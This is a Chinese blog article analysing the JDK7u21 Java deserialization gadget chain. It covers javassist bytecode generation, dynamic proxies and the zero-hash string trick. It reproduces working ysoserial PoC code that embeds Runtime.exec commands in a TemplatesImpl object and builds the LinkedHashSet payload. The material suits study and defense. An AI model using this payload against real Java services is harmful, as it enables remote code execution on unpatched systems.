溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

JDK7u21反序列化漏洞的示例分析

發(fā)布時間:2021-12-17 14:03:03 來源:億速云 閱讀:173 作者:小新 欄目:安全技術(shù)

這篇文章給大家分享的是有關(guān)JDK7u21反序列化漏洞的示例分析的內(nèi)容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。

0x00 TLDR

在上一次研究ApacheCommonsCollections的時候,由于本地的JRE環(huán)境是1.8,導(dǎo)致無法復(fù)現(xiàn)網(wǎng)上各位大佬提供的payload,但是在查找資料的過程中發(fā)現(xiàn)了ysoserial這個項目,簡單的講就是一個Java反序列化漏洞的利用框架,其中集成了很多針對不同框架的payload。在使用這個框架的過程中,發(fā)現(xiàn)了一個JDK7u21的payload,利用的是JDK本身的漏洞,但是如名稱所言,這個只在JDK7u21及以前的版本中生效,在經(jīng)過了多天的調(diào)試分析后,發(fā)現(xiàn)這個漏洞利用流程非常巧妙復(fù)雜,有很多值得學(xué)習(xí)的地方,漏洞作者也寫出了一份writeup放在了    gist上。

這個漏洞看起來十分簡單,但是實際調(diào)試起來卻非常困難,足足讓本菜雞調(diào)了好幾天才徹底搞明白,一部分原因也是因為不熟悉Java的某些特性造成的,所以想要學(xué)習(xí)到東西還是要親手嘗試一下,只是拜讀其他大佬的文章并沒有什么用,而且總結(jié)成文也是再次加深了對漏洞的理解,畢竟想要給大家講明白就需要自己先搞明白。

0x01 動態(tài)生成Java代碼

在著手分析之前,我們先來學(xué)習(xí)一下前置技能。在這個PoC中,作者通過javassist動態(tài)生成了惡意的gadgets,用來觸發(fā)命令執(zhí)行。

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
// 利用TemplatesImpl類來觸發(fā)惡意的bytescode
final TemplatesImpl templates = new TemplatesImpl();

// 獲取容器ClassPool,注入classpath
ClassPool pool = ClassPool.getDefault();
System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));

// 獲取已經(jīng)編譯好的類
System.out.println("ClassName: " + StubTransletPayload.class.getName());
final CtClass clazz = pool.get(StubTransletPayload.class.getName());

// 在靜態(tài)的的構(gòu)造方法中插入payload
clazz.makeClassInitializer()
.insertAfter("java.lang.Runtime.getRuntime().exec(\""
+ command.replaceAll("\"", "\\\"")
+ "\");");

// 給payload類設(shè)置一個名稱
// unique name to allow repeated execution (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());

// 獲取該類的字節(jié)碼
final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(
templates,
"_bytecodes",
new byte[][] {
classBytes,
ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 只要觸發(fā)這個方法就能執(zhí)行我們注入的bytecodes
// templates.getOutputProperties();
return templates;
}

相關(guān)說明在注釋中已經(jīng)給出了,通過精心構(gòu)造一個TemplatesImpl對象,并且想辦法觸發(fā)該對象的getOutputPropertites()方法,就能執(zhí)行我們構(gòu)造的命令。

0x02 動態(tài)代理

Java中的動態(tài)代理十分靈活,只需要為一組接口指定好InvocationHandler對象,那么調(diào)用接口方法的時候,將會被轉(zhuǎn)派到handler對象的invoke方法,在這個方法中可以通過反射執(zhí)行原方法,也可以做一些其他的操作。

所有的Handler類都需要實現(xiàn)InvocationHandler這個接口,當(dāng)我們通過代理對象調(diào)用某個方法的時候,這次調(diào)用就會被轉(zhuǎn)派到Handler的invoke方法,該函數(shù)簽名如下:

Object invoke(Object proxy, Method method, Object[] args) throws Throwable

proxy: 是被代理的真實對象

method: 要調(diào)用的真實對象方法的Method對象

args: 調(diào)用真實對象方法時的參數(shù)

當(dāng)創(chuàng)建好InvocationHandler對象后,就可以通過Proxy.newProxyInstance方法來創(chuàng)建動態(tài)代理,該方法簽名如下:

public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces,  InvocationHandler h)  throws IllegalArgumentException

loader: 定義由哪個ClassLoader對象來對生成的代理對象進(jìn)行加載

interfaces: Interface對象的數(shù)組,表示將要給需要代理的對象提供的一組什么接口

h: InvocationHandler對象,表示當(dāng)目前這個動態(tài)代理對象在調(diào)用方法的時候,應(yīng)當(dāng)關(guān)聯(lián)到哪一個InvocationHandler對象上

來看一個動態(tài)代理的例子:

// 需要實現(xiàn)的接口
interface ISubject {
public void hello(String str);
}

// 實際的需要被代理的對象
class SubjectImpl implements ISubject {
public void hello(String str) {
System.out.println("SubjectImpl.hello(): " + str);
}
}

// Handler對象
class Handler implements InvocationHandler {
private Object subject;
public Handler(Object subject) {
this.subject = subject;
}

public Object invoke(Object object, Method method, Object[] args) throws Throwable {
System.out.println("before!");
method.invoke(this.subject, args);
System.out.println("after!");
return null;
}
}


public class DynamicProxy {
public static void main(String[] args) {
SubjectImpl subject = new SubjectImpl();
InvocationHandler tempHandler = new Handler(subject);

// 創(chuàng)建代理
ISubject iSubject = (ISubject) Proxy.newProxyInstance(ISubject.class.getClassLoader(), new Class<?>[] {ISubject.class}, tempHandler);
iSubject.hello("world!");
}
}

當(dāng)代理創(chuàng)建完成后,我們調(diào)用iSubject.hello方法時,會被分配到invoke方法執(zhí)行;輸出如下:

before!
SubjectImpl.hello(): world!
after!

0x03 漏洞分析

說了這么多,我們再來一起分析一下這個漏洞,這個PoC是在ysoserial中的payload基礎(chǔ)上修改而來的,可能會比較易懂,先貼上PoC的主要部分:

public Object getObject(final String command) throws Exception {

// 生成惡意的templates,想辦法觸發(fā)templates.getOutputProperties();方法
Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

// 創(chuàng)建一個新的HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

// 創(chuàng)建代理使用的handler,AnnotationInvocationHandler作為動態(tài)代理的handler
// 代理創(chuàng)建完成后,所有調(diào)用被代理對象的方法都會調(diào)用AnnotationInvocationHandler的invoke方法
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

// 創(chuàng)建代理
// 后續(xù)所有調(diào)用Templates接口的方法會全部轉(zhuǎn)派到tempHandler.invoke方法
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);     // 存儲了惡意java字節(jié)碼數(shù)據(jù)的TemplatesImpl類對象
set.add(proxy);         // 代理了Templates接口的對象

map.put(zeroHashCodeStr, templates);

// set中存儲了最終的payload,只需要反序列化這個就可以觸發(fā)了
return set;
}

大部分代碼上都寫了一些注釋,整體應(yīng)該能看懂,接下來就仔細(xì)分析一下到底是如何觸發(fā)命令執(zhí)行的了。

其實HashSet本質(zhì)上就是一個HashMap<key, new Object()>,key是我們存進(jìn)去的數(shù)據(jù),而value就是靜態(tài)的Object對象。

當(dāng)LinkedHashSet被反序列的時候,會調(diào)用其父類HashSet的readObject方法。

JDK7u21反序列化漏洞的示例分析

根據(jù)這一部分的邏輯,可以看出來在反序列化的時候,會依次將templatesproxy加入到map中,繼續(xù)跟進(jìn)put方法:

JDK7u21反序列化漏洞的示例分析

有一處很關(guān)鍵的比較,就是圖中打了斷點的475行,這里我們需要繼續(xù)觸發(fā)key.equals(k)方法,前面的判等我們暫且不談,先繼續(xù)向下跟進(jìn)。由于我們代理了templates接口,當(dāng)調(diào)用到templates.equals()的時候,自然會調(diào)用到handler的invoke方法,這里也就是會調(diào)用proxy.equals(templates)方法。

JDK7u21反序列化漏洞的示例分析

繼續(xù)跟進(jìn)equalsImpl方法,會發(fā)現(xiàn)這個方法會依次調(diào)用Templates的每一個方法,(如果不太理解的話可以在這里下斷單步跟一下),所以會調(diào)用到我們前面提到的Templates.getOutputProperties()方法,進(jìn)而造成命令執(zhí)行。

JDK7u21反序列化漏洞的示例分析

JDK7u21反序列化漏洞的示例分析    

到這里整個流程已經(jīng)走通了,整體的調(diào)用鏈也就像這樣,引用一下漏洞作者的圖:

JDK7u21反序列化漏洞的示例分析

簡化一下就是下面這樣子:

LinkedHashSet.readObject()
   HashSet.readObject()
       HashMap.put()
           templates.equals()
               AnnotationInvocationHandler.invoke()
               AnnotationInvocationHandler.equalsImpl()
                   Method.invoke()
                   TemplatesImpl.getOutputProperties()

至于為什么調(diào)用TemplatesImpl.getOutputProperties()就能執(zhí)行命令,各位同學(xué)可以自行跟一下,漏洞作者也給出了調(diào)用鏈,并不是很難理解,這里就不再展開說明了。

0x04 繞過hash

剛剛我們提到了一個很重要的判斷,想要利用equals方法必須繞過前面的hash判等。

e.hash == hash && ((k = e.key) == key || key.equals(k))

為了調(diào)用到最后的key.equals方法,根據(jù)邏輯短路原理(如果不知道啥是短路原理請自行g(shù)oogle),必須讓e.hash == hash為true,并且(k = e.key) == key為false。

當(dāng)執(zhí)行到put(proxy)的時候,map里實際上已經(jīng)有第一個templates,這里的hash就是proxy.hashCode,e.hash就是templates.hashCode,也就是需要達(dá)成proxy.hashCode() == templates.hashCode()這個條件。

templates.hashCode()比較好說,這個類沒有重寫,調(diào)用的是默認(rèn)的hashCode方法。當(dāng)調(diào)用proxy.hashCode()的時候,則會跳到AnnotationInvocationHandler.invoke()方法,再來看一下這個方法是如何處理hashCode()方法的。

JDK7u21反序列化漏洞的示例分析JDK7u21反序列化漏洞的示例分析

在48行調(diào)用了this.hashCodeImpl()方法,繼續(xù)跟進(jìn)后發(fā)現(xiàn)該方法會從memberValues中進(jìn)行遍歷,并且依次計算key.hashCode(),而這個memberValues是我們在初始化AnnotationInvocationHandler的時候傳入的:

JDK7u21反序列化漏洞的示例分析

// 創(chuàng)建一個新的HashMap
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");    // 沒有這行也OK

// 創(chuàng)建代理使用的handler,AnnotationInvocationHandler作為動態(tài)代理的handler
// 代理創(chuàng)建完成后,所有調(diào)用被代理對象的方法都會調(diào)用AnnotationInvocationHandler的invoke方法
Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

...

map.put(zeroHashCodeStr, templates);

這個map的key就是我們設(shè)置的特殊字符串『f5a5a608』,而這個字符串的hashCode是0,可以說是非常有意思了。而整個看起來很長的循環(huán),實際上也就變成了

var1 += 127 * (0 ^ entry.getValue().hashCode())

那這個value是啥呢?就是我們構(gòu)造的templates。整個hash計算就變成了templates.hashCode(),所以proxy.hashCode() == templates.hashCode()也就成立了,如果不理解的話還是建議各位同學(xué)手動調(diào)試一下。

第二個條件e.key == key是很明顯的不同的,一個是templates,另一個是proxy,所以這個條件是false,最終會調(diào)用到equals方法。

感謝各位的閱讀!關(guān)于“JDK7u21反序列化漏洞的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,讓大家可以學(xué)到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

jdk
AI